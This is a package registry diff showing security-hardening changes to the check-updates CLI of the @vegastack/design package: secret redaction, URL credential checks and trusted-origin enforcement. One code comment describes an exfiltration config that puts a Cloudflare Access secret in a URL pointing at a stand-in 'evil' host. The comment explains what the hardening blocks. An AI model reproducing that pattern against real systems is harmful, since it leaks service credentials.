@vegastack/design 0.1.1 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/check-updates.mjs +679 -122
- package/bin/doctor.mjs +332 -0
- package/bin/skills.mjs +262 -0
- package/bin/vegastack-design.mjs +40 -14
- package/bin/verify-registry-item.mjs +775 -214
- package/css/base.css +1 -1
- package/css/theme.css +1 -1
- package/css/utilities.css +1 -1
- package/dist/icons/index.cjs +199 -0
- package/dist/icons/index.d.cts +164 -0
- package/dist/icons/index.d.ts +39 -29
- package/dist/icons/index.js +81 -14
- package/dist/index.cjs +78 -0
- package/dist/index.d.cts +56 -0
- package/dist/index.d.ts +7 -0
- package/dist/preset.cjs +37 -0
- package/dist/preset.d.cts +19 -0
- package/dist/theme-scope.cjs +56 -0
- package/dist/theme-scope.d.cts +23 -0
- package/dist/theme-scope.d.ts +23 -0
- package/dist/theme-scope.js +21 -0
- package/package.json +40 -15
- package/skills/vegastack-brand/SKILL.md +29 -0
- package/skills/vegastack-consume/SKILL.md +182 -0
- package/skills/vegastack-consume/references/registry-integrity.md +132 -0
- package/skills/vegastack-design-audit/SKILL.md +123 -0
- package/skills/vegastack-design-system/SKILL.md +112 -0
- package/skills/vegastack-design-system/references/components.md +163 -0
package/bin/check-updates.mjs
CHANGED
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
// published in the registry, so you know what to re-pull. shadcn registries are copy-in ("you own
|
|
4
4
|
// the code") with NO automatic updates; this turns that into a single command.
|
|
5
5
|
//
|
|
6
|
-
// HOW IT WORKS (one
|
|
6
|
+
// HOW IT WORKS (one index request + bounded item requests for installed copies):
|
|
7
7
|
// 1. Resolve the @vegastack registry url + auth headers from components.json (or env).
|
|
8
8
|
// 2. Scan the components dir for files carrying the provenance header the registry stamps:
|
|
9
9
|
// // @vegastack <name>@<version> sha256-<integrity>
|
|
@@ -21,13 +21,34 @@
|
|
|
21
21
|
// npx vegastack-design check-updates
|
|
22
22
|
// npx vegastack-design check-updates --filter button,dialog --json
|
|
23
23
|
// npx vegastack-design check-updates --fail-on-update # CI drift gate (exit 1 if stale)
|
|
24
|
-
import { readFileSync, readdirSync,
|
|
25
|
-
import { join, resolve, basename } from
|
|
26
|
-
import { pathToFileURL } from
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
24
|
+
import { readFileSync, readdirSync, lstatSync, existsSync } from "node:fs";
|
|
25
|
+
import { join, resolve, basename, relative, sep } from "node:path";
|
|
26
|
+
import { pathToFileURL } from "node:url";
|
|
27
|
+
import {
|
|
28
|
+
itemHash,
|
|
29
|
+
rewriteRegistryAliases,
|
|
30
|
+
stripShadcnLeadingCommentPrologue,
|
|
31
|
+
} from "./verify-registry-item.mjs";
|
|
32
|
+
|
|
33
|
+
const ITEM_NAME_SOURCE = "[a-z0-9]+(?:-[a-z0-9]+)*";
|
|
34
|
+
const VERSION_SOURCE =
|
|
35
|
+
"[0-9]+\\.[0-9]+\\.[0-9]+(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?";
|
|
36
|
+
const ITEM_NAME_RE = new RegExp(`^${ITEM_NAME_SOURCE}$`);
|
|
37
|
+
const VERSION_RE = new RegExp(`^${VERSION_SOURCE}$`);
|
|
38
|
+
const PROVENANCE_RE = new RegExp(
|
|
39
|
+
`^// @vegastack (${ITEM_NAME_SOURCE})@(${VERSION_SOURCE}) sha256-([A-Za-z0-9+/=]+)$`,
|
|
40
|
+
);
|
|
41
|
+
const DEFAULT_REGISTRY = "https://design.vegastack.com/r";
|
|
42
|
+
const DEFAULT_TRUSTED_REGISTRY_ORIGIN = new URL(DEFAULT_REGISTRY).origin;
|
|
43
|
+
const REQUEST_TIMEOUT_MS = 15_000;
|
|
44
|
+
const SKIP_DIRS = new Set([
|
|
45
|
+
"node_modules",
|
|
46
|
+
".next",
|
|
47
|
+
".git",
|
|
48
|
+
"dist",
|
|
49
|
+
".turbo",
|
|
50
|
+
"out",
|
|
51
|
+
]);
|
|
31
52
|
|
|
32
53
|
const USAGE = `vegastack-design check-updates — show which copied-in components have newer registry versions
|
|
33
54
|
|
|
@@ -44,22 +65,43 @@ Options:
|
|
|
44
65
|
-h, --help Show this help
|
|
45
66
|
|
|
46
67
|
Config: reads the @vegastack registry url + headers from components.json; \${ENV} placeholders expand
|
|
47
|
-
from .env.local / .env or the shell; falls back to VEGASTACK_REGISTRY + CF_ACCESS_CLIENT_ID/SECRET
|
|
68
|
+
from .env.local / .env or the shell; falls back to VEGASTACK_REGISTRY + CF_ACCESS_CLIENT_ID/SECRET.
|
|
69
|
+
Credentialed custom registries additionally require VEGASTACK_TRUSTED_REGISTRY_ORIGIN in the
|
|
70
|
+
process environment (not a checkout-local dotenv file). Redirects are rejected.`;
|
|
48
71
|
|
|
49
72
|
// ── arg parsing ────────────────────────────────────────────────────────────────────────────────
|
|
50
73
|
function parseArgs(argv) {
|
|
51
|
-
const out = {
|
|
74
|
+
const out = {
|
|
75
|
+
filter: null,
|
|
76
|
+
json: false,
|
|
77
|
+
failOnUpdate: false,
|
|
78
|
+
noColor: false,
|
|
79
|
+
dir: null,
|
|
80
|
+
cwd: ".",
|
|
81
|
+
registry: null,
|
|
82
|
+
help: false,
|
|
83
|
+
};
|
|
52
84
|
for (let i = 0; i < argv.length; i++) {
|
|
53
85
|
const a = argv[i];
|
|
54
|
-
if (a ===
|
|
55
|
-
else if (a ===
|
|
56
|
-
else if (a ===
|
|
57
|
-
else if (a ===
|
|
58
|
-
else if (
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
86
|
+
if (a === "--help" || a === "-h") out.help = true;
|
|
87
|
+
else if (a === "--json") out.json = true;
|
|
88
|
+
else if (a === "--fail-on-update") out.failOnUpdate = true;
|
|
89
|
+
else if (a === "--no-color") out.noColor = true;
|
|
90
|
+
else if (
|
|
91
|
+
a === "--dir" ||
|
|
92
|
+
a === "--cwd" ||
|
|
93
|
+
a === "--registry" ||
|
|
94
|
+
a === "--filter"
|
|
95
|
+
) {
|
|
96
|
+
const value = argv[i + 1];
|
|
97
|
+
if (!value || value.startsWith("-"))
|
|
98
|
+
throw new UsageError(`${a} requires a value`);
|
|
99
|
+
i++;
|
|
100
|
+
if (a === "--dir") out.dir = value;
|
|
101
|
+
else if (a === "--cwd") out.cwd = value;
|
|
102
|
+
else if (a === "--registry") out.registry = value;
|
|
103
|
+
else out.filter = value;
|
|
104
|
+
} else throw new UsageError(`unknown option: ${a}`);
|
|
63
105
|
}
|
|
64
106
|
return out;
|
|
65
107
|
}
|
|
@@ -71,21 +113,25 @@ class UsageError extends Error {}
|
|
|
71
113
|
let ENV = process.env;
|
|
72
114
|
function loadEnv(cwd) {
|
|
73
115
|
const merged = {};
|
|
74
|
-
for (const f of [
|
|
116
|
+
for (const f of [".env", ".env.local"]) {
|
|
75
117
|
let txt;
|
|
76
118
|
try {
|
|
77
|
-
txt = readFileSync(join(cwd, f),
|
|
119
|
+
txt = readFileSync(join(cwd, f), "utf8");
|
|
78
120
|
} catch {
|
|
79
121
|
continue;
|
|
80
122
|
}
|
|
81
|
-
for (const raw of txt.split(
|
|
123
|
+
for (const raw of txt.split("\n")) {
|
|
82
124
|
const line = raw.trim();
|
|
83
|
-
if (!line || line.startsWith(
|
|
84
|
-
const eq = line.indexOf(
|
|
125
|
+
if (!line || line.startsWith("#")) continue;
|
|
126
|
+
const eq = line.indexOf("=");
|
|
85
127
|
if (eq === -1) continue;
|
|
86
128
|
const key = line.slice(0, eq).trim();
|
|
87
129
|
let val = line.slice(eq + 1).trim();
|
|
88
|
-
if (
|
|
130
|
+
if (
|
|
131
|
+
(val.startsWith('"') && val.endsWith('"')) ||
|
|
132
|
+
(val.startsWith("'") && val.endsWith("'"))
|
|
133
|
+
)
|
|
134
|
+
val = val.slice(1, -1);
|
|
89
135
|
merged[key] = val;
|
|
90
136
|
}
|
|
91
137
|
}
|
|
@@ -93,60 +139,248 @@ function loadEnv(cwd) {
|
|
|
93
139
|
}
|
|
94
140
|
|
|
95
141
|
const missingEnv = new Set();
|
|
142
|
+
|
|
143
|
+
/**
|
|
144
|
+
* Credential material seen during config expansion: secret value -> `${NAME}` placeholder.
|
|
145
|
+
*
|
|
146
|
+
* Two independent jobs, both required:
|
|
147
|
+
* 1. `assertNoSecretInUrl` refuses to BUILD a request URL containing any of these, so a
|
|
148
|
+
* components.json like `"@vegastack": "http://evil/r/{name}.json?k=${CF_ACCESS_CLIENT_SECRET}"`
|
|
149
|
+
* can never be fetched. That config carries no headers, so the header-scoped trusted-origin
|
|
150
|
+
* check below never fired and the token was exfiltrated to an arbitrary origin over plain
|
|
151
|
+
* http — while the CLI exited 0.
|
|
152
|
+
* 2. `redact` scrubs them from every line this CLI prints (see terminalText), because the same
|
|
153
|
+
* URL was echoed verbatim into stderr and therefore into CI logs.
|
|
154
|
+
*
|
|
155
|
+
* Credentials belong in headers, never in a URL — a URL lands in server access logs, proxy logs,
|
|
156
|
+
* and CDN caches even when the origin is fully trusted. So (1) is unconditional, not origin-scoped.
|
|
157
|
+
*/
|
|
158
|
+
const SECRET_VALUES = new Map();
|
|
159
|
+
|
|
160
|
+
// Name-based classification, applied at expansion time wherever the variable is used. Anything
|
|
161
|
+
// used as a header value is ALSO registered as secret regardless of its name (see resolveRegistry),
|
|
162
|
+
// which covers credential halves like CF_ACCESS_CLIENT_ID and any custom auth header.
|
|
163
|
+
const SENSITIVE_ENV_NAME =
|
|
164
|
+
/(?:SECRET|TOKEN|PASSWORD|PASSWD|CREDENTIAL|PRIVATE|API_?KEY|_KEY$|^KEY$|AUTH|SESSION|COOKIE|BEARER|SIGNATURE)/i;
|
|
165
|
+
|
|
166
|
+
// Known credential variables whose NAME the pattern above would not catch. CF_ACCESS_CLIENT_ID is
|
|
167
|
+
// half of a Cloudflare Access service-token pair: on its own it is not sufficient to authenticate,
|
|
168
|
+
// but it is credential material and must not be logged or placed in a URL either.
|
|
169
|
+
const KNOWN_CREDENTIAL_ENV_NAMES = new Set(["CF_ACCESS_CLIENT_ID"]);
|
|
170
|
+
|
|
171
|
+
function isSensitiveEnvName(name) {
|
|
172
|
+
return KNOWN_CREDENTIAL_ENV_NAMES.has(name) || SENSITIVE_ENV_NAME.test(name);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
// Deliberate floor, applied to BOTH redaction and the URL bar. A short value cannot be treated as
|
|
176
|
+
// a secret by substring matching without breaking legitimate use: with a 4-char token, every URL
|
|
177
|
+
// merely CONTAINING those characters would be refused, and every log line mangled. Real credentials
|
|
178
|
+
// here are long (a Cloudflare Access service-token secret is 64 hex chars), so the floor costs
|
|
179
|
+
// nothing in practice — but it does mean a hand-rolled sub-8-character token is not protected.
|
|
180
|
+
const MIN_SECRET_LENGTH = 8;
|
|
181
|
+
|
|
182
|
+
/**
|
|
183
|
+
* @param label env var name (kind 'env') or HTTP header name (kind 'header')
|
|
184
|
+
* @param kind controls the placeholder shown in errors/logs, so the message points at the thing
|
|
185
|
+
* the operator actually has to edit rather than at a header name dressed up as `${…}`.
|
|
186
|
+
*/
|
|
187
|
+
function rememberSecret(label, value, kind = "env") {
|
|
188
|
+
if (typeof value !== "string" || value.length < MIN_SECRET_LENGTH) return;
|
|
189
|
+
const placeholder =
|
|
190
|
+
kind === "header" ? `<${label} header value>` : `\${${label}}`;
|
|
191
|
+
// First registration wins: an env-var placeholder is more actionable than a header one, and
|
|
192
|
+
// envHeaders()/expandEnv() run before the header sweep for the same value.
|
|
193
|
+
if (!SECRET_VALUES.has(value)) SECRET_VALUES.set(value, placeholder);
|
|
194
|
+
}
|
|
195
|
+
|
|
96
196
|
function expandEnv(value) {
|
|
97
|
-
if (typeof value !==
|
|
197
|
+
if (typeof value !== "string") return value;
|
|
98
198
|
return value.replace(/\$\{([A-Z0-9_]+)\}/gi, (_, name) => {
|
|
99
199
|
const v = ENV[name];
|
|
100
|
-
if (v == null || v ===
|
|
101
|
-
|
|
200
|
+
if (v == null || v === "") missingEnv.add(name);
|
|
201
|
+
if (v && isSensitiveEnvName(name)) rememberSecret(name, v);
|
|
202
|
+
return v ?? "";
|
|
102
203
|
});
|
|
103
204
|
}
|
|
104
205
|
|
|
206
|
+
/** Replace every known secret with its `${NAME}` placeholder, raw and percent-encoded. */
|
|
207
|
+
function redact(text) {
|
|
208
|
+
let out = String(text);
|
|
209
|
+
for (const [secret, placeholder] of SECRET_VALUES) {
|
|
210
|
+
out = out.split(secret).join(placeholder);
|
|
211
|
+
const encoded = encodeURIComponent(secret);
|
|
212
|
+
if (encoded !== secret) out = out.split(encoded).join(placeholder);
|
|
213
|
+
}
|
|
214
|
+
return out;
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
/**
|
|
218
|
+
* Refuse any request URL carrying credential material. Checked raw AND percent-encoded, since a
|
|
219
|
+
* secret with reserved characters is escaped once it is interpolated into a query string.
|
|
220
|
+
*/
|
|
221
|
+
function assertNoSecretInUrl(url) {
|
|
222
|
+
const text = String(url);
|
|
223
|
+
for (const [secret, placeholder] of SECRET_VALUES) {
|
|
224
|
+
if (
|
|
225
|
+
text.includes(secret) ||
|
|
226
|
+
(encodeURIComponent(secret) !== secret &&
|
|
227
|
+
text.includes(encodeURIComponent(secret)))
|
|
228
|
+
) {
|
|
229
|
+
throw new Error(
|
|
230
|
+
`refusing to put ${placeholder} in a registry URL — credentials must be sent as headers, ` +
|
|
231
|
+
`never in a URL (URLs are recorded in access, proxy, and CDN logs). ` +
|
|
232
|
+
`Move it to the "headers" object of the @vegastack registry in components.json.`,
|
|
233
|
+
);
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
|
|
105
238
|
function readJson(path) {
|
|
106
|
-
return JSON.parse(readFileSync(path,
|
|
239
|
+
return JSON.parse(readFileSync(path, "utf8"));
|
|
107
240
|
}
|
|
108
241
|
|
|
109
242
|
function envHeaders() {
|
|
110
243
|
const h = {};
|
|
111
|
-
if (ENV.CF_ACCESS_CLIENT_ID)
|
|
112
|
-
|
|
244
|
+
if (ENV.CF_ACCESS_CLIENT_ID)
|
|
245
|
+
h["CF-Access-Client-Id"] = ENV.CF_ACCESS_CLIENT_ID;
|
|
246
|
+
if (ENV.CF_ACCESS_CLIENT_SECRET)
|
|
247
|
+
h["CF-Access-Client-Secret"] = ENV.CF_ACCESS_CLIENT_SECRET;
|
|
248
|
+
// These reach the wire as credentials whether or not they were ever written as ${…} in a config,
|
|
249
|
+
// so register them here as well — redaction and the URL bar must not depend on expansion order.
|
|
250
|
+
rememberSecret("CF_ACCESS_CLIENT_ID", h["CF-Access-Client-Id"]);
|
|
251
|
+
rememberSecret("CF_ACCESS_CLIENT_SECRET", h["CF-Access-Client-Secret"]);
|
|
113
252
|
return h;
|
|
114
253
|
}
|
|
115
254
|
|
|
255
|
+
function nonEmptyHeaders(headers) {
|
|
256
|
+
return Object.fromEntries(
|
|
257
|
+
Object.entries(headers).filter(
|
|
258
|
+
([, value]) => value != null && value !== "",
|
|
259
|
+
),
|
|
260
|
+
);
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
/**
|
|
264
|
+
* Validate the complete request destination before attaching credentials. The trust anchor is
|
|
265
|
+
* deliberately read from process.env rather than ENV: ENV also contains checkout-local .env files,
|
|
266
|
+
* which must not be able to choose where an operator's service token is sent.
|
|
267
|
+
*/
|
|
268
|
+
function assertRegistryRequest(url, headers) {
|
|
269
|
+
let parsed;
|
|
270
|
+
try {
|
|
271
|
+
parsed = new URL(url);
|
|
272
|
+
} catch {
|
|
273
|
+
// redact: an unparseable URL is still printed, and it may carry an interpolated secret.
|
|
274
|
+
throw new Error(`registry URL is invalid: ${redact(url)}`);
|
|
275
|
+
}
|
|
276
|
+
if (parsed.username || parsed.password) {
|
|
277
|
+
throw new Error("registry URL must not contain embedded credentials");
|
|
278
|
+
}
|
|
279
|
+
// Unconditional, and BEFORE the header-scoped origin check below: a URL-borne secret is a leak
|
|
280
|
+
// even to the trusted origin, and this is the only thing standing between a hostile
|
|
281
|
+
// components.json and an arbitrary-origin exfiltration (the origin check never fires for a
|
|
282
|
+
// config that declares no headers).
|
|
283
|
+
assertNoSecretInUrl(url);
|
|
284
|
+
const credentialed = Object.keys(nonEmptyHeaders(headers)).length > 0;
|
|
285
|
+
if (!credentialed) return parsed;
|
|
286
|
+
|
|
287
|
+
const trustedValue =
|
|
288
|
+
process.env.VEGASTACK_TRUSTED_REGISTRY_ORIGIN ??
|
|
289
|
+
DEFAULT_TRUSTED_REGISTRY_ORIGIN;
|
|
290
|
+
let trusted;
|
|
291
|
+
try {
|
|
292
|
+
trusted = new URL(trustedValue);
|
|
293
|
+
} catch {
|
|
294
|
+
throw new Error(
|
|
295
|
+
"VEGASTACK_TRUSTED_REGISTRY_ORIGIN must be an absolute HTTPS origin",
|
|
296
|
+
);
|
|
297
|
+
}
|
|
298
|
+
if (
|
|
299
|
+
trusted.protocol !== "https:" ||
|
|
300
|
+
trusted.username ||
|
|
301
|
+
trusted.password ||
|
|
302
|
+
trusted.pathname !== "/" ||
|
|
303
|
+
trusted.search ||
|
|
304
|
+
trusted.hash
|
|
305
|
+
) {
|
|
306
|
+
throw new Error(
|
|
307
|
+
"VEGASTACK_TRUSTED_REGISTRY_ORIGIN must be an HTTPS origin with no path, credentials, query, or hash",
|
|
308
|
+
);
|
|
309
|
+
}
|
|
310
|
+
if (parsed.protocol !== "https:" || parsed.origin !== trusted.origin) {
|
|
311
|
+
throw new Error(
|
|
312
|
+
`refusing to send registry credentials to ${parsed.origin}; trusted origin is ${trusted.origin}`,
|
|
313
|
+
);
|
|
314
|
+
}
|
|
315
|
+
return parsed;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
async function fetchRegistry(url, headers) {
|
|
319
|
+
assertRegistryRequest(url, headers);
|
|
320
|
+
return fetch(url, {
|
|
321
|
+
headers: nonEmptyHeaders(headers),
|
|
322
|
+
redirect: "error",
|
|
323
|
+
signal: AbortSignal.timeout(REQUEST_TIMEOUT_MS),
|
|
324
|
+
});
|
|
325
|
+
}
|
|
326
|
+
|
|
116
327
|
// Resolve { urlTemplate, headers } in precedence order: --registry > components.json > env.
|
|
117
328
|
function resolveRegistry(opts, componentsJson) {
|
|
118
329
|
if (opts.registry) {
|
|
119
330
|
return { urlTemplate: opts.registry, headers: envHeaders() };
|
|
120
331
|
}
|
|
121
|
-
const reg = componentsJson?.registries?.[
|
|
332
|
+
const reg = componentsJson?.registries?.["@vegastack"];
|
|
122
333
|
if (reg) {
|
|
123
|
-
if (typeof reg ===
|
|
334
|
+
if (typeof reg === "string")
|
|
335
|
+
return { urlTemplate: expandEnv(reg), headers: {} };
|
|
124
336
|
const headers = {};
|
|
125
|
-
for (const [k, v] of Object.entries(reg.headers ?? {}))
|
|
337
|
+
for (const [k, v] of Object.entries(reg.headers ?? {})) {
|
|
338
|
+
headers[k] = expandEnv(v);
|
|
339
|
+
// Anything used as a header value IS credential material, whatever the variable is called.
|
|
340
|
+
// This catches credential halves the name heuristic would miss (CF_ACCESS_CLIENT_ID) and any
|
|
341
|
+
// custom auth header, so those values are redacted from output and barred from URLs too.
|
|
342
|
+
rememberSecret(k, headers[k], "header");
|
|
343
|
+
}
|
|
126
344
|
return { urlTemplate: expandEnv(reg.url), headers };
|
|
127
345
|
}
|
|
128
|
-
return {
|
|
346
|
+
return {
|
|
347
|
+
urlTemplate: `${(ENV.VEGASTACK_REGISTRY ?? DEFAULT_REGISTRY).replace(/\/$/, "")}/{name}.json`,
|
|
348
|
+
headers: envHeaders(),
|
|
349
|
+
};
|
|
129
350
|
}
|
|
130
351
|
|
|
131
352
|
// Turn an item-url template into the index url: replace {name}→registry, else append /registry.json.
|
|
132
353
|
function indexUrl(urlTemplate) {
|
|
133
|
-
if (urlTemplate.includes(
|
|
134
|
-
|
|
354
|
+
if (urlTemplate.includes("{name}"))
|
|
355
|
+
return urlTemplate.replace("{name}", "registry");
|
|
356
|
+
return `${urlTemplate.replace(/\/$/, "")}/registry.json`;
|
|
135
357
|
}
|
|
136
358
|
|
|
137
359
|
// ── components dir + scan ──────────────────────────────────────────────────────────────────────
|
|
138
360
|
function resolveComponentsDir(cwd, dirFlag, componentsJson) {
|
|
139
361
|
if (dirFlag) return resolve(cwd, dirFlag);
|
|
140
362
|
const ui = componentsJson?.aliases?.ui;
|
|
141
|
-
const rel = ui ? ui.replace(/^@\//,
|
|
363
|
+
const rel = ui ? ui.replace(/^@\//, "").replace(/^~\//, "") : "components/ui";
|
|
142
364
|
const direct = resolve(cwd, rel); // assumes @/ = project root
|
|
143
365
|
if (existsSync(direct)) return direct;
|
|
144
|
-
const srcVariant = resolve(cwd,
|
|
366
|
+
const srcVariant = resolve(cwd, "src", rel); // common alias: @/* -> src/*
|
|
145
367
|
if (existsSync(srcVariant)) return srcVariant;
|
|
146
368
|
return direct; // documented default; "none found" message hints --dir
|
|
147
369
|
}
|
|
148
370
|
|
|
149
|
-
function walk(dir, out = []) {
|
|
371
|
+
function walk(dir, out = [], isRoot = true) {
|
|
372
|
+
let rootStat;
|
|
373
|
+
try {
|
|
374
|
+
rootStat = lstatSync(dir);
|
|
375
|
+
} catch {
|
|
376
|
+
return out;
|
|
377
|
+
}
|
|
378
|
+
if (rootStat.isSymbolicLink()) {
|
|
379
|
+
if (isRoot)
|
|
380
|
+
throw new Error(`refusing to scan a symlinked component root: ${dir}`);
|
|
381
|
+
return out;
|
|
382
|
+
}
|
|
383
|
+
if (!rootStat.isDirectory()) return out;
|
|
150
384
|
let entries;
|
|
151
385
|
try {
|
|
152
386
|
entries = readdirSync(dir);
|
|
@@ -156,8 +390,16 @@ function walk(dir, out = []) {
|
|
|
156
390
|
for (const name of entries) {
|
|
157
391
|
if (SKIP_DIRS.has(name)) continue;
|
|
158
392
|
const p = join(dir, name);
|
|
159
|
-
|
|
160
|
-
|
|
393
|
+
let s;
|
|
394
|
+
try {
|
|
395
|
+
s = lstatSync(p);
|
|
396
|
+
} catch {
|
|
397
|
+
continue;
|
|
398
|
+
}
|
|
399
|
+
// The requested component directory is the complete scan boundary. Following a symlink can
|
|
400
|
+
// escape that boundary, traverse a very large unrelated tree, or recurse through a cycle.
|
|
401
|
+
if (s.isSymbolicLink()) continue;
|
|
402
|
+
if (s.isDirectory()) walk(p, out, false);
|
|
161
403
|
else if (/\.tsx?$/.test(name)) out.push(p);
|
|
162
404
|
}
|
|
163
405
|
return out;
|
|
@@ -168,24 +410,37 @@ function walk(dir, out = []) {
|
|
|
168
410
|
// pipeline strips leading comments during its transform, so most consumer copies have NO
|
|
169
411
|
// header. Headerless files are identified by filename against the registry index and compared
|
|
170
412
|
// by alias-normalized CONTENT instead (see `normalizeForCompare`).
|
|
171
|
-
function readInstalled(file) {
|
|
413
|
+
function readInstalled(file, root) {
|
|
172
414
|
let content;
|
|
173
415
|
try {
|
|
174
|
-
content = readFileSync(file,
|
|
416
|
+
content = readFileSync(file, "utf8");
|
|
175
417
|
} catch {
|
|
176
418
|
return null;
|
|
177
419
|
}
|
|
178
|
-
const firstLine = content.slice(
|
|
420
|
+
const firstLine = content.slice(
|
|
421
|
+
0,
|
|
422
|
+
content.indexOf("\n") === -1 ? content.length : content.indexOf("\n"),
|
|
423
|
+
);
|
|
179
424
|
const m = PROVENANCE_RE.exec(firstLine);
|
|
180
|
-
const name = basename(file).replace(/\.tsx?$/,
|
|
425
|
+
const name = basename(file).replace(/\.tsx?$/, "");
|
|
426
|
+
const relativePath = relative(root, file).split(sep).join("/");
|
|
181
427
|
return m
|
|
182
|
-
? {
|
|
183
|
-
|
|
428
|
+
? {
|
|
429
|
+
file,
|
|
430
|
+
relativePath,
|
|
431
|
+
name: m[1],
|
|
432
|
+
content,
|
|
433
|
+
header: { version: m[2], hash: `sha256-${m[3]}` },
|
|
434
|
+
}
|
|
435
|
+
: { file, relativePath, name, content, header: null };
|
|
184
436
|
}
|
|
185
437
|
|
|
186
438
|
// Strip a provenance header (with its optional following blank line) from file content.
|
|
187
439
|
function stripHeader(content) {
|
|
188
|
-
return content.replace(
|
|
440
|
+
return content.replace(
|
|
441
|
+
/^\/\/ @vegastack \S+@\S+ sha256-\S+\r?\n(?:\r?\n)?/,
|
|
442
|
+
"",
|
|
443
|
+
);
|
|
189
444
|
}
|
|
190
445
|
|
|
191
446
|
/**
|
|
@@ -194,31 +449,82 @@ function stripHeader(content) {
|
|
|
194
449
|
* (the same class of rewrite `shadcn add` performs), and ignore trailing whitespace.
|
|
195
450
|
* Consumers on the default `@/*` alias need no rewrite at all.
|
|
196
451
|
*/
|
|
197
|
-
function normalizeForCompare(content,
|
|
198
|
-
let s = stripHeader(content).replace(/\r\n/g,
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
452
|
+
function normalizeForCompare(content, aliases) {
|
|
453
|
+
let s = stripHeader(content).replace(/\r\n/g, "\n");
|
|
454
|
+
s = rewriteRegistryAliases(s, aliases);
|
|
455
|
+
return s.trimEnd() + "\n";
|
|
456
|
+
}
|
|
457
|
+
|
|
458
|
+
function expectedVariantsForCompare(content, label, aliases, fileType) {
|
|
459
|
+
const exact = normalizeForCompare(content, aliases);
|
|
460
|
+
const stripped = normalizeForCompare(
|
|
461
|
+
stripShadcnLeadingCommentPrologue(content, label, fileType),
|
|
462
|
+
aliases,
|
|
463
|
+
);
|
|
464
|
+
return new Set([exact, stripped]);
|
|
465
|
+
}
|
|
466
|
+
|
|
467
|
+
function uiTargetPath(file) {
|
|
468
|
+
return typeof file?.target === "string" && file.target.startsWith("@ui/")
|
|
469
|
+
? file.target.slice("@ui/".length)
|
|
470
|
+
: undefined;
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
async function mapLimit(values, limit, fn) {
|
|
474
|
+
const results = new Array(values.length);
|
|
475
|
+
let next = 0;
|
|
476
|
+
await Promise.all(
|
|
477
|
+
Array.from({ length: Math.min(limit, values.length) }, async () => {
|
|
478
|
+
while (next < values.length) {
|
|
479
|
+
const index = next++;
|
|
480
|
+
results[index] = await fn(values[index], index);
|
|
481
|
+
}
|
|
482
|
+
}),
|
|
483
|
+
);
|
|
484
|
+
return results;
|
|
203
485
|
}
|
|
204
486
|
|
|
205
487
|
function globToRe(pattern) {
|
|
206
|
-
return new RegExp(
|
|
488
|
+
return new RegExp(
|
|
489
|
+
"^" +
|
|
490
|
+
pattern
|
|
491
|
+
.split("*")
|
|
492
|
+
.map((s) => s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"))
|
|
493
|
+
.join(".*") +
|
|
494
|
+
"$",
|
|
495
|
+
);
|
|
207
496
|
}
|
|
208
497
|
|
|
209
498
|
// ── colors ─────────────────────────────────────────────────────────────────────────────────────
|
|
210
499
|
function makeColor(enabled) {
|
|
211
500
|
const wrap = (code) => (s) => (enabled ? `[${code}m${s}[0m` : s);
|
|
212
|
-
return {
|
|
501
|
+
return {
|
|
502
|
+
yellow: wrap(33),
|
|
503
|
+
green: wrap(32),
|
|
504
|
+
dim: wrap(2),
|
|
505
|
+
bold: wrap(1),
|
|
506
|
+
red: wrap(31),
|
|
507
|
+
};
|
|
508
|
+
}
|
|
509
|
+
|
|
510
|
+
// Registry errors, checkout paths, and command-line values may be attacker-controlled. Preserve the
|
|
511
|
+
// useful text while preventing terminal escape/control sequences from rewriting logs or prompts.
|
|
512
|
+
// Single chokepoint for everything this CLI prints: control-character scrub AND secret
|
|
513
|
+
// redaction. Redacting HERE rather than at each call site means a future console.error cannot
|
|
514
|
+
// reintroduce the leak by forgetting to wrap its argument — every existing print already routes
|
|
515
|
+
// through this, including the `could not reach the registry at ${url}` line that echoed the token.
|
|
516
|
+
function terminalText(value) {
|
|
517
|
+
return redact(value).replace(/[\u0000-\u001f\u007f-\u009f]/g, "\uFFFD");
|
|
213
518
|
}
|
|
214
519
|
|
|
215
520
|
// ── main ─────────────────────────────────────────────────────────────────────────────────────────
|
|
216
521
|
export async function main(argv) {
|
|
522
|
+
missingEnv.clear();
|
|
217
523
|
let opts;
|
|
218
524
|
try {
|
|
219
525
|
opts = parseArgs(argv);
|
|
220
526
|
} catch (err) {
|
|
221
|
-
console.error(err.message +
|
|
527
|
+
console.error(terminalText(err.message) + "\n");
|
|
222
528
|
console.error(USAGE);
|
|
223
529
|
return 2;
|
|
224
530
|
}
|
|
@@ -229,20 +535,26 @@ export async function main(argv) {
|
|
|
229
535
|
|
|
230
536
|
const cwd = resolve(opts.cwd);
|
|
231
537
|
ENV = loadEnv(cwd); // pick up .env.local / .env (shadcn does the same)
|
|
232
|
-
const color = makeColor(
|
|
538
|
+
const color = makeColor(
|
|
539
|
+
process.stdout.isTTY && !opts.noColor && !process.env.NO_COLOR,
|
|
540
|
+
);
|
|
233
541
|
|
|
234
542
|
// components.json (optional when --registry + --dir are both given)
|
|
235
543
|
let componentsJson = null;
|
|
236
|
-
const cjPath = join(cwd,
|
|
544
|
+
const cjPath = join(cwd, "components.json");
|
|
237
545
|
if (existsSync(cjPath)) {
|
|
238
546
|
try {
|
|
239
547
|
componentsJson = readJson(cjPath);
|
|
240
548
|
} catch (err) {
|
|
241
|
-
console.error(
|
|
549
|
+
console.error(
|
|
550
|
+
`✗ could not parse ${terminalText(cjPath)}: ${terminalText(err.message)}`,
|
|
551
|
+
);
|
|
242
552
|
return 2;
|
|
243
553
|
}
|
|
244
554
|
} else if (!opts.registry || !opts.dir) {
|
|
245
|
-
console.error(
|
|
555
|
+
console.error(
|
|
556
|
+
`✗ no components.json found at ${terminalText(cjPath)} (need it for the registry config + components dir, or pass --registry and --dir)`,
|
|
557
|
+
);
|
